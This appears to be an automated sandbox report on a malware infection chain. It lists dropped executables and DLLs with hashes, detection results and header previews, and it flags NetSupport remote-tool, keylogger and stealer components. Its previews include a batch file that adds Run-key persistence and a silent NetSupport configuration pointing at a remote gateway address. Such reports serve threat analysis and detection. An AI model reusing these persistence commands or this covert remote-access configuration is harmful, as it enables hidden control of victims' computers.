Process:	C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3735416
Entropy (8bit):	6.525042992590476
Encrypted:	false
SSDEEP:	49152:cTXNZ+0ci2aYNT8wstdAukudJ1xTvIZamclSp+73mPu:cTXNo0cpKwstTJIkS43mm
MD5:	00587238D16012152C2E951A087F2CC9
SHA1:	C4E27A43075CE993FF6BB033360AF386B2FC58FF
SHA-256:	63AA18C32AF7144156E7EE2D5BA0FA4F5872A7DEB56894F6F96505CBC9AFE6F8
SHA-512:	637950A1F78D3F3D02C30A49A16E91CF3DFCCC59104041876789BD7FDF9224D187209547766B91404C67319E13D1606DA7CEC397315495962CBF3E2CCD5F1226
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\Public\Netstat\PCICL32.DLL, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\PCICL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........(.t.I.'.I.'.I.'A..'.I.'...'.I.'.?#'.I.'...'.I.'.1.'.I.'.I.'.J.'.1.'.I.'.1.'.I.'..#',I.'.."'.I.'...'.I.'...'.I.'...'.I.'Rich.I.'................PE..L......V...........!......... ..............0................................9.....f-9.....................................4........`................8.x)...P7.p....@.......................P.......P..@............0..........`....................text............................... ..`.rdata.......0......................@..@.data....%..........................@....tls.........@......................@....hhshare.....P......................@....rsrc........`......................@..@.reloc..(2...P7..4....6.............@..B........................................................................................................................................................................................................

C:\Users\Public\Netstat\TCCTL32.DLL

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	396664
Entropy (8bit):	6.809064783360712
Encrypted:	false
SSDEEP:	12288:OpwbUb48Ju0LIFZB4Qaza4yFaMHAZtJ4Yew2j/bJa+neNQ:epq7BaGIn4BbLneNQ
MD5:	EAB603D12705752E3D268D86DFF74ED4
SHA1:	01873977C871D3346D795CF7E3888685DE9F0B16
SHA-256:	6795D760CE7A955DF6C2F5A062E296128EFDB8C908908EDA4D666926980447EA
SHA-512:	77DE0D9C93CCBA967DB70B280A85A770B3D8BEA3B707B1ABB037B2826B48898FEC87924E1A6CCE218C43478E5209E9EB9781051B4C3B450BEA3CD27DBD32C7F3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\TCCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z..z..z.....z.....z.....z..{.Y.z....K.z......z.....z......z.....z.Rich.z.........PE..L...Y?XV...........!................................................................'.....@.............................o...T...x....0..@...............x)...@..\E..................................`d..@...............h............................text............................... ..`.rdata../...........................@..@.data...h............\|..............@....rsrc...@....0......................@..@.reloc.. F...@...H..................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\UpdateFuturreApp.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.131775788834825
Encrypted:	false
SSDEEP:	6:hwszH1j0KpIAgidquHGjCscfoZH1j0KpIAgidquHGjCsW/jCE:HVj0KprgidqugI+Vj0KprgidqugUrX
MD5:	6C49E627C4228F1D9776C78749D2DDCB
SHA1:	0241B8E0073116C0F738BB0721C68F6B951AE7C6
SHA-256:	D32A160B8DC638589A30EFFB82DC33AFDA3F8CD2A1E7789FE147439C2872BAA9
SHA-512:	DBCFD98FFF31C4D555A8D61EB95660A04E9BE79079DD741C11874005DE443694A8425A5434056F1E5722911628359B0A812E9D6C6D030F32477973FCA870880D
Malicious:	false
Reputation:	unknown
Preview:	@echo off..REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "%Public%\Netstat\FuturreApp.exe"..REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "%Public%\Netstat\FuturreApp.exe"..start %Public%\Netstat\FuturreApp.exe..

C:\Users\Public\Netstat\client32.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	702
Entropy (8bit):	5.536854980364518
Encrypted:	false
SSDEEP:	12:YTNWqzd+mPZGS/py6z8BlsVTXuZ7+DP981E7GXXfDWQClnmSuh6IAlkz6:yWqzEmPZly6YBlLoG1fXXfDiU6IAaz6
MD5:	A4AA9219BECDEEC09159270BB041BB35
SHA1:	2D08305017EFB0A1FF7DEFDF66DB80191ED9CCF8
SHA-256:	277B9BCB5778CD5DC167ED75528818B06ED12F3FD427339F3085F4DB8A39ED2E
SHA-512:	4F7CE001DA009FCBA0C5BEAB572A16306D56FD91253C45D5196892142DA78EC805982A4E1C136AD61471B5A951697EED76F9EE63D8B94EB64024A11E0FD0DE42
Malicious:	false
Reputation:	unknown
Preview:	0x58095535....[Client].._present=1..DisableChatMenu=1..DisableClientConnect=1..DisableDisconnect=1..DisableLocalInventory=1..DisableReplayMenu=1..DisableRequestHelp=1..HideWhenIdle=1..Protocols=3..RADIUSSecret=dgAAAOeJWid73S6SvOyjjiTDVewA..RoomSpec=Eval..ShowUIOnConnect=0..silent=1..SKMode=1..SOS_Alt=0..SOS_LShift=0..SOS_RShift=0..SysTray=0..UnloadMirrorOnDisconnect=1..Usernames=*....[_Info]..Filename=C:\Program Files (x86)\NetSupport\NetSupport Manager\client32u.ini....[_License]..quiet=1....[Audio]..DisableAudioFilter=1....[General]..BeepUsingSpeaker=0......[HTTP]..GatewayAddress=185.215.113.64:443..gsk=EFHH;K>OBDEJ9A<I@BCB..gskmode=0..gsku=EFHH;K>OBDEJ9A<I@BCB..GSKX=EFHH;K>OBDEJ9A<I@BCB....

C:\Users\Public\Netstat\msvcr100.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	773968
Entropy (8bit):	6.901559811406837
Encrypted:	false
SSDEEP:	12288:nMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoe3z:MmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV7z
MD5:	0E37FBFA79D349D672456923EC5FBBE3
SHA1:	4E880FC7625CCF8D9CA799D5B94CE2B1E7597335
SHA-256:	8793353461826FBD48F25EA8B835BE204B758CE7510DB2AF631B28850355BD18
SHA-512:	2BEA9BD528513A3C6A54BEAC25096EE200A4E6CCFC2A308AE9CFD1AD8738E2E2DEFD477D59DB527A048E5E9A4FE1FC1D771701DE14EF82B4DBCDC90DF0387630
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L......M.........."!.........................0.....x......................................@..........................H......d...(.......................P.......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\nskbfltr.inf

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.93007757242403
Encrypted:	false
SSDEEP:	6:a0S880EeLL6sWqYFcf8KYFEAy1JoHBIr2M2OIAXFYJKRLIkg/LH2yi9vyifjBLWh:JShNvPG1JoHBx2XFhILH4Burn
MD5:	26E28C01461F7E65C402BDF09923D435
SHA1:	1D9B5CFCC30436112A7E31D5E4624F52E845C573
SHA-256:	D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368
SHA-512:	C30EC66FECB0A41E91A31804BE3A8B6047FC3789306ADC106C723B3E5B166127766670C7DA38D77D3694D99A8CDDB26BC266EE21DBA60A148CDF4D6EE10D27D7
Malicious:	false
Reputation:	unknown
Preview:	; nskbfltr.inf..;..; NS Keyboard Filter..; ..;..; This inf file installs the WDF Framework binaries....[Version]..Signature="$Windows NT$"..Provider=NSL......;..;--- nskbfltr Coinstaller installation ------..;......[nskbfltr.NT.Wdf]..KmdfService = nskbfltr, nskbfltr_wdfsect....[nskbfltr_wdfsect]..KmdfLibraryVersion = 1.5......

C:\Users\Public\Netstat\pcicapi.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	33144
Entropy (8bit):	6.737780491933496
Encrypted:	false
SSDEEP:	768:FFvNhAyi5hHA448qZkSn+EgT8To1iTYiu:FCyoHA448qSSzgI2GQ
MD5:	DCDE2248D19C778A41AA165866DD52D0
SHA1:	7EC84BE84FE23F0B0093B647538737E1F19EBB03
SHA-256:	9074FD40EA6A0CAA892E6361A6A4E834C2E51E6E98D1FFCDA7A9A537594A6917
SHA-512:	C5D170D420F1AEB9BCD606A282AF6E8DA04AE45C83D07FAAACB73FF2E27F4188B09446CE508620124F6D9B447A40A23620CFB39B79F02B04BB9E513866352166
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\pcicapi.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+-..E~..E~..E~.\.~..E~.\.~..E~...~..E~..D~..E~.\.~..E~.\.~..E~.\.~..E~.\.~..E~...~..E~.\.~..E~Rich..E~........PE..L......U...........!.....2...........<.......P...............................`............@..........................^.......W..d....@..x............X..x)...P......`Q...............................V..@............P..@............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data...,....`.......F..............@....rsrc...x....@.......H..............@..@.reloc.......P.......P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\remcmdstub.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	77224
Entropy (8bit):	6.793971095882093
Encrypted:	false
SSDEEP:	1536:zfafvTuNOwphKuyUHTqYXHhrXH4+LIyrxomee/+5IrAee/DIr3:jafLSpAFUzt0+LIyr7eR5IUeCIz
MD5:	325B65F171513086438952A152A747C4
SHA1:	A1D1C397902FF15C4929A03D582B09B35AA70FC0
SHA-256:	26DBB528C270C812423C3359FC54D13C52D459CC0E8BC9B0D192725EDA34E534
SHA-512:	6829555AB3851064C3AAD2D0C121077DB0260790B95BF087B77990A040FEBD35B8B286F1593DCCAA81B24395BD437F5ADD02037418FD5C9C8C78DC0989A9A10D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 13%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g.V#...#...#...L...2...*.r.&...#...t...L.K.u...L.J.>...L.{."...L.\|."...Rich#...........PE..L...c..c.....................J.......!............@.......................... ............@....................................<.......T................]..............................................@...............@............................text.............................. ..`.rdata..,%.......&..................@..@.data....-..........................@....rsrc...T...........................@..@.reloc..p...........................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\m9sfEU9[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2138232
Entropy (8bit):	7.940321732008107
Encrypted:	false
SSDEEP:	49152:VIfzw6NbHHBp7k5hhJ+j0h7x0vRNu1UiPPs0EkHbG+nu:VILwYt5ShrfKvW0z
MD5:	E5F8753995C0B30B827AA2B17F3E1D22
SHA1:	B268EE165073321CB893FC6DC682ADBE38AF87B5
SHA-256:	C3A4EC523039D5969745279B8909FBB82BFC999D9241E24B5CEFEA23A3F2C04F
SHA-512:	DBA6104720C45C3201878C515DAC487B0F66522E85DB56CF19B4378D4DA94D38E640EB48259A6CA3FD8602B083283915BDEBDC8BB57039F1CDD2FE84792BA2FA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~............b......b..<....b.....)^......................................... ...... ......%...... ......Rich............PE..L...~.r\............................y.............@.......................................@............................4.......<.......4............................n..T...........................(...@...............\...T... ....................text...d........................... ..`.rdata..............................@..@.data...............................@....gfids..............................@..@.rsrc...4...........................@..@.reloc........... ...z..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1880576
Entropy (8bit):	7.947827107801024
Encrypted:	false
SSDEEP:	49152:ZRGDbjz7g+LRMpnd6dc8dwpW+8cYsjL1i:ZRGDrky0nd6dcmUT8AjL1i
MD5:	FF279F4E5B1C6FBDA804D2437C2DBDC8
SHA1:	2FEB3762C877A5AE3CA60EEEBC37003AD0844245
SHA-256:	E115298AB160DA9C7A998E4AE0B72333F64B207DA165134CA45EB997A000D378
SHA-512:	C7A8BBCB122B2C7B57C8B678C5EED075EE5E7C355AFBF86238282D2D3458019DA1A8523520E1A1C631CD01B555F7DF340545FD1E44AD678DC97C40B23428F967
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 81%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................0J...........@..........................`J.....i.....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...xnuzvlhe.0..../......^..............@...tzuttanx..... J.....................@....taggant.0...0J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4460032
Entropy (8bit):	7.985385064824602
Encrypted:	false
SSDEEP:	98304:uOsbw/GM4JTpF/dHkl1J000ReHSmC3J8qP/vbyN/I5i/H8CCW:1KGKJTpldHkl2mCbP/vbiN7C
MD5:	04869F7ACE61605035664AF9589AF21B
SHA1:	0688D7E4038F6103600011198EDECB98DF152221
SHA-256:	957A5B78C870C0C648884B8EE30F5F437325C94212F4436566CCCBC3B88AA987
SHA-512:	C78F3877D5ADB2847471B300D259B8875A8BA50A9FA1A1C3981C2A3316C8B5131E9D72D0E503557C14B4FD30A78B8D34C810AADE2EC6BDA4729DAF7FC2F8CCAE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2..........PD...@...................................E...@... ............................._.a.s.....a.....................`....................................................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... ..8...a......R(.............@...yxuskcgf.....0.......T(.............@...pwerqsbo.............C.............@....taggant.0......"....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[3].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2866176
Entropy (8bit):	6.525502925454382
Encrypted:	false
SSDEEP:	49152:HQVhw+9Pg4SnSuG7X6Mv+p7hE9YYBc9U6uq:HmhwUPg4SnSuG7X6xtEuYBc9Urq
MD5:	05BB24F8C4105C056E6B5250B2A5E488
SHA1:	08C3EE6A24FCF83ADC21D807371F5F01CA339892
SHA-256:	82CDD20CCD714049CE3DC46DD095B0CF2642789E69B74BC1397AD3AABE3EE3D8
SHA-512:	93622B8FF9166BCB33BD624900B7734DF4F1D9C60905917F17EDD762044FE89E2C167BAFE92C6C362CC4116CBEA6B8023EFFB28779D7F238F23581736596DD31
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........N...........@.......................... O.......,...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...ygtpparq. ...$.....\|..............@...zzjdxvxy......N.......+.............@....taggant.0....N.."....+.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3286016
Entropy (8bit):	7.310046848182974
Encrypted:	false
SSDEEP:	49152:yla31k0wuMKWrJSYQTdfjfkn46z2jnVGd7jyy7qaJJR0BmXSyYO3:yla3/tS4K2jnVGRjHLJfV
MD5:	C00A67D527EF38DC6F49D0AD7F13B393
SHA1:	7B8F2DE130AB5E4E59C3C2F4A071BDA831AC219D
SHA-256:	12226CCAE8C807641241BA5178D853AAD38984EEFB0C0C4D65ABC4DA3F9787C3
SHA-512:	9286D267B167CBA01E55E68C8C5582F903BED0DD8BC4135EB528EF6814E60E7D4DDA2B3611E13EFB56AA993635FBAB218B0885DAF5DAEA6043061D8384AF40CA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 54%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....V...............P.../..Z......../.. ....0...@.. ........................2...........@.................................../.K.....0.@W...................`2.....3./.............................................. ............... ..H............text...../.. ..../................. ..`.rsrc...@W....0..X..../.............@..@.reloc.......`2......"2.............@..B................../.....H...........@.......C...@...z..........................................6+.(B.99(......:+.(.^A.(!............(..........................(.....0..........(...8y.......E....c...O.../...8^...s......... .....:....&8....s.........8....s......... .....9....& ....8....s......... ....8....s.........8.......0..............0..............0..............0..............0............................0..............0.....................0.................*...".......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\8ZVMneG[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	810496
Entropy (8bit):	7.808597434734726
Encrypted:	false
SSDEEP:	24576:grtEhokkSG4bPWQ8C8z3zcB49CNPWQ8C8z3zcB49Cx:grGhokkSG4bPWQv8z3BYNPWQv8z3BYx
MD5:	E8AF4D0D0B47AC68D762B7F288AE8E6E
SHA1:	1D65F31526CC20AB41D6B1625D6674D7F13E326C
SHA-256:	B83449768E7AF68867C8BC42B19FF012722D88EA66AEF69DF48661E63E0EB15E
SHA-512:	80FAD90314FF639F538A72C5E4CA2BF9AE52B9309CAA7CD6F87D61791505BB3612B7F3190AB9B67348C5D71F4D29BB9D101E3F66D525EB9B5E2060A10B2D187A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....^g.........."......f........................@.......................................@.....................................P....p..........................x...........................x.......................`...\|............................text...md.......f.................. ..`.rdata..............n..............@..@.data...,%... ......................@....CODE........P....... .............. ..`.tls.........`.......0..............@....rsrc........p.......2..............@..@.reloc..x............4..............@..B.bss.................R..............@....bss.........0......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\UZAj8wc[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	957952
Entropy (8bit):	7.9986004015143015
Encrypted:	true
SSDEEP:	24576:h2LddHrlBe4LpCuw8VYHcx5WK1zF7JkLYiY:mdZKspwDa5WK/JkLc
MD5:	5B99682CB740202D783DDE58CA97F045
SHA1:	CECAE054552CE295FEAA0717D2A33E870ADDCADD
SHA-256:	724E283E1BB29A150C9BEBC21BDF0E250E2D87257BF86C889BBE7544329C6882
SHA-512:	C37A2CB06407729344ADB85D814223A24EC4FA65F711C7F02C0E77395EC969B7E1BD64A6F5806D4E2D88C8461587D68B6AAE3378D2CF5C92F1ADE2AACC13F2B2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....dg................................. ........@.. ....................................`.................................L...O.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......h................!...............................................(......(.....~....:....r...p.....(....o....s.........~.....~...........j(....r9..p~....o....t....V.rI..p .......o....&j(....(....r]..po....(....2(.....o.......0..g.........8.....(..........&......,.s......r...p(....o.....r...p(....o.....o .......io!..........9.....o"........................".6X....................lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, Pu

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1114112
Entropy (8bit):	7.7336985855739355
Encrypted:	false
SSDEEP:	24576:FAu2uOTJr0/sBIpMvVEDvtNNVpk3BLSx+ptEH76duCiheu2:4ugJAGIpMmZNNEBLSx4EHGxiC
MD5:	EF08A45833A7D881C90DED1952F96CB4
SHA1:	F04AEEB63A1409BD916558D2C40FAB8A5ED8168B
SHA-256:	33C236DC81AF2A47D595731D6FA47269B2874B281152530FDFFDDA9CBEB3B501
SHA-512:	74E84F710C90121527F06D453E9286910F2E8B6AC09D2AEB4AB1F0EAD23EA9B410C5D1074D8BC759BC3E766B5BC77D156756C7DF093BA94093107393290CED97
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 67%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$.cg..............0......2........... ........@.. .......................`............@.....................................W.......H/...................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...H/.......0..................@..@.reloc.......@......................@..B........................H........<..........K.......`p...........................................Y?.F60...5..8....4zc.:.V........N.0...1.....O*.S..~.......I...pR..iI......Pn}...iJ!BH.+o/S..yj...8T'.}....y.I.kD.....'....$.6....}..w[. )...j..[.-..0....\|...p....h\..L....R.T.~......b.K.h....".8.s`)...1... ....[i&.9....a?.F..N..~..._.^...Q.....43.L.....@v...x..IB.4...........\|......(........~.Y.L.S..;..x.)w...v...:..2.....y.%{3w.)..^..7......@...7..k.H..p}."..%.p....0.g.3....g..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Reputation:	unknown
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[3].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1861120
Entropy (8bit):	7.948090750964882
Encrypted:	false
SSDEEP:	24576:1D3Z+og2dL7dT1TKvDXBujJ535WxkeQaJ4LAQJtbbY9mjrdprIt6vxM2c3WDLKoR:ZJTH/9hWxkeP2Mm7ra6pM2c3+XLl
MD5:	0A678F4E43E83079C1E95517F576A88D
SHA1:	4012A39B2F700273402D3ADBC54F0F87EAC2FA56
SHA-256:	6B17962E6298E3118F5301AF6BDCECCBF3C79663E4A526E128A5C306A232BC01
SHA-512:	C3EE30975F86B80DB6F8B0ED9A032924A12486528E0745D02E1E4372DE1775ECDA86CDD17C28586DCDDE1300A95C66579B707944DCDF445B21CCBA2F4FC6DF63
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................I...........@...........................I...........@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... .@*..@.......\..............@...speiiqif....../......^..............@...suzusvsz.....pI......@..............@....taggant.0....I.."...D..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[4].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	5.338206717136569
Encrypted:	false
SSDEEP:	384:78HIRrJs1HLBDhq5RWBNBlBThtq2uoyLizwxeNLHdWuNMV275RtAcL8SFS69rvwM:Qqls1HLBDhIRWbXlq2uVk75RuSFSm6EJ
MD5:	04F57C6FB2B2CD8DCC4B38E4A93D4366
SHA1:	61770495AA18D480F70B654D1F57998E5BD8C885
SHA-256:	51E4D0CBC184B8ABFA6D84E219317CF81BD542286A7CC602C87EB703A39627C2
SHA-512:	53F95E98A5ECA472ED6B1DFD6FECD1E28EA66967A1B3AA109FE911DBB935F1ABF327438D4B2FE72CF7A0201281E9F56F4548F965B96E3916B9142257627E6CCD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 18%
Reputation:	unknown
